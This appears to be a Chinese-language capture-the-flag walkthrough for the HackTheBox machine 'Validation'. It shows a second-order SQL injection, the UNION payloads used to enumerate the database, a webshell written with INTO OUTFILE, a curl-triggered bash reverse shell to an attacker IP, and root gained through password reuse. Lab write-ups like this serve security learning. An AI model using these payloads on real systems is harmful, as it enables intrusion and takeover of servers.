• Linux/Validation


    Enumeration

    nmap

    第一次扫描发现系统对外开放了22,80,4566和8080端口,端口详细信息如下

    系统对外开放了4个端口,从nmap的结果来看,8080无法访问,手动尝试后4566也无法访问,只能从80端口开始

    TCP/80

    访问80端口,得到如下界面,输入用户名选择国家后可以注册

    填入用户名vegetable,国家选择Brazil,点击Join Now后,在burpsuite中可以看到请求包与服务器响应,注意到country也是可以修改的,服务器在收到请求后,进行了重定向,并且设置了一个名为user的cookie

    页面被重定向到account.php,但是只是输出了几句话

    重新创建了一个用户,另一个地方的vegetable,但是发现cookie是相同的,尝试使用在线网站解密该cookie值,发现cookie就是用户名的md5

    考虑到页面让选择国家,但是burpsuite抓到的请求可以修改,在brazil参数后添加一个单引号,发送后还是会进行302跳转,但是重定向到account.php页面后,页面报错

    设置Brazil' or 1=1--+,页面回显正常,设置1=2,页面回显异常

    这是一个二阶sql注入

    Foothold

    Second Order SQL Injection

    我将注册包发送至repeater,在Brazil后添加payload,发送后,会得到响应。将响应包中的cookie值复制放到account.php包,然后发送

    设置order by 1,回显正常,设置order by 2,回显报错

    可以判断列数为1,可以设置Brazil' union select 1--+,可以执行,并且存在回显点

    设置Brazil' union select database();--+,可以执行,显示了一个数据库名

    查看registration数据库中的表

    Brazil' union select table_name from information_schema.tables where table_schema = 'registration'--+

    可以看到有一个registration表

    查看registration表中的columns

    Brazil' union select column_name from information_schema.columns where table_name = 'registration'

    可以看到有username,userhash,country,regtime

    查看username发现只有一个vegetable

    查看权限

    Brazil' union select privilege_type FROM information_schema.user_privileges--+

    可以看到有file权限

    尝试能否写入webshell,但是报错了

    Brazil' union select "hello world!" into+outfile '/var/www/html/vegetable.txt'--+

    可是去请求vegetable.txt时,却能够成功访问

    那么可以直接写入一个webshell

    Brazil' union select "cmd']); ?>" into outfile '/var/www/html/vegetable.php'

    上传后尝试访问,发现上传成功并且能够执行命令

    然后可以执行一个反向shell

    curl 10.10.11.116/vegetable.php --data-urlencode 'cmd=bash -c "bash -i >&/dev/tcp/10.10.14.3/4444 0>&1"'

    在监听端能得到shell,可以找到user.txt

    Privilege Escalation

    在web目录下,config.php中有认证信息

    考虑密码复用,使用该密码登录root,成功!

  • 相关阅读:
    SCR截面速度、氨氮比等标准及相对标准偏差计算
    数据结构(超详细讲解!!)第二十二节 广义表
    Spring @DependsOn 和 @ConditionalOnBean 的区别
    Django 4.x Overviewses 框架概述
    模型部署——onnx定义、读写和调试
    HanLP — Aho-Corasick DoubleArrayTire 算法 ACDAT - 基于双数组字典树的AC自动机
    模拟面试01
    Promise, async, await实现异步编程,代码详解
    汉语言文学的毕业论文有创意的选题有哪些?推荐一下?
    1078. Bigram 分词
  • 原文地址:https://blog.csdn.net/weixin_45557138/article/details/136534976